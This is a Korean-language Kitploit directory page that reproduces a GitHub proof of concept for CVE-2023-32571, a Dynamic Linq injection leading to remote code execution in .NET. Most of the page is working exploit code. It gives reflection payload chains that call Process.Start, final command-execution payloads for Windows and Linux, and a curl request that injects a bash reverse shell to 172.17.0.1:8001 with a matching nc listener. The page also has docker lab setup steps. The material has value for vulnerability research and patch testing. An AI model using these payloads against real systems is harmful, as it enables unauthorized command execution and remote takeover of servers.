Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/tris0n/cve-2023-32571-poc
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationLearning & EducationPayload DevelopmentLabs & Practice
GitHubtris0n/cve-2023-32571-poc

CVE-2023-32571-POC

저장소 보기
72년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Dynamic Linq 인젝션을 통한 RCE - CVE-2023-32571

Dynamic Linq 인젝션을 통한 RCE 정보 (CVE-2023-32571)

최근 NCC Group의 연구원들이 Dynamic Linq에서 공격자가 Linq Injection을 통해 C# 함수를 호출할 수 있는 취약점을 발견했으며, 이를 통해 RCE를 달성할 수 있게 되었습니다.

Dynamic Linq에 대한 RCE 보고서에도 불구하고, NCC Group의 연구원들은 어떤 이유에서인지 명령 실행을 위한 POC를 공개하지 않았습니다.

POC

NCC Group 연구에서 밝혀진 바와 같이, "Invoke"를 통해 C# 메서드를 호출할 수 있습니다. 이를 통해 "System.Diagnostics.Process.Start"를 호출하여 서버에서 명령을 실행할 수 있습니다.

"CreateInstanceFromAndUnwrap" 메서드를 사용하여 어셈블리를 통해 System.Diagnostics.Process를 호출할 수 있습니다.

System.AppDomain.CreateInstanceAndUnwrap 메서드를 사용하는 페이로드:

root@kitploit:~
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First()

CreateInstanceAndUnwrap 메서드를 통해 System.Diagnostics.Process를 호출하는 페이로드:

root@kitploit:~
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray()))

System.Diagnostics.Process 클래스의 메서드에 접근하여 System.Diagnostics.Process.Start 메서드를 사용하면 시스템에서 명령을 실행할 수 있습니다:

root@kitploit:~
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "cmd.exe;/c calc.exe".Split(";".ToCharArray()))

참고: 페이로드는 처음 3개의 Start 메서드를 찾아 마지막 메서드를 가져옵니다. System.Diagnostics.Process의 메서드 목록에 여러 Start 메서드가 있고, 우리가 필요한 메서드가 목록에서 세 번째이기 때문에 이렇게 했습니다.

최종 페이로드

Windows 대상

root@kitploit:~
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "cmd.exe;/c <command-here>".Split(";".ToCharArray()))

Linux 대상
root@kitploit:~
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "bash;-c <command-here>".Split(";".ToCharArray()))

실습 환경을 시작하려면 다음 지침을 따르세요

docker와 docker-compose를 설치합니다:

Debian

root@kitploit:~
sudo apt update -y && sudo apt install docker.io docker-compose -y

Arch Linux
root@kitploit:~
sudo pacman -Syu && sudo pacman -S docker docker-compose

이 저장소를 클론합니다:

root@kitploit:~
git clone https://github.com/Tris0n/CVE-2023-32571-POC

저장소 디렉터리로 이동합니다:
root@kitploit:~
cd CVE-2023-32571-POC

docker-compose를 실행합니다:
root@kitploit:~
sudo docker-compose up --build

애플리케이션은 http://localhost:8000/에서 시작됩니다.

실습 분석

POST 메서드로 "/api/products" 경로에 접근하면 제품 목록을 반환하는 것을 확인할 수 있습니다:

root@kitploit:~
curl -X POST -H "Content-type: application/json" -H "Accept: application/json" -d '{}' http://localhost:8000/api/products

01 pn

json에서 name 매개변수를 보내면 제품을 필터링할 수 있습니다:

root@kitploit:~
curl -X POST -H "Content-type: application/json" -H "Accept: application/json" -d '{"name": "nana"}' http://localhost:8000/api/products

02

몇 가지 테스트 후 Dynamic Linq 쿼리에 주입할 수 있음을 확인했습니다. 다음 페이로드를 전송하여 리버스 셸을 얻을 수 있었습니다:

root@kitploit:~
curl -X POST -H "Content-type: application/json" -H "Accept: application/json" -d '{"name": "\") && \"\".GetType().Assembly.DefinedTypes.Where(it.Name == \"AppDomain\").First().DeclaredMethods.Where(it.Name == \"CreateInstanceAndUnwrap\").First().Invoke(\"\".GetType().Assembly.DefinedTypes.Where(it.Name == \"AppDomain\").First().DeclaredProperties.Where(it.name == \"CurrentDomain\").First().GetValue(null), \"System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process\".Split(\";\".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == \"Process\").First().DeclaredMethods.Where(it.name == \"Start\").Take(3).Last().Invoke(null, \"/bin/bash;-c \\\"bash -i >& /dev/tcp/172.17.0.1/8001 0>&1\\\"\".Split(\";\".ToCharArray())).GetType().ToString() == (\""}' http://localhost:8000/api/products

03

root@kitploit:~
nc -lvp 8001

04

References

  • https://research.nccgroup.com/2023/06/13/dynamic-linq-injection-remote-code-execution-vulnerability-cve-2023-32571/
  • https://insinuator.net/2016/10/linq-injection-from-attacking-filters-to-code-execution/
  • https://github.com/advisories/GHSA-w65q-jcmv-28gj
도구 다운로드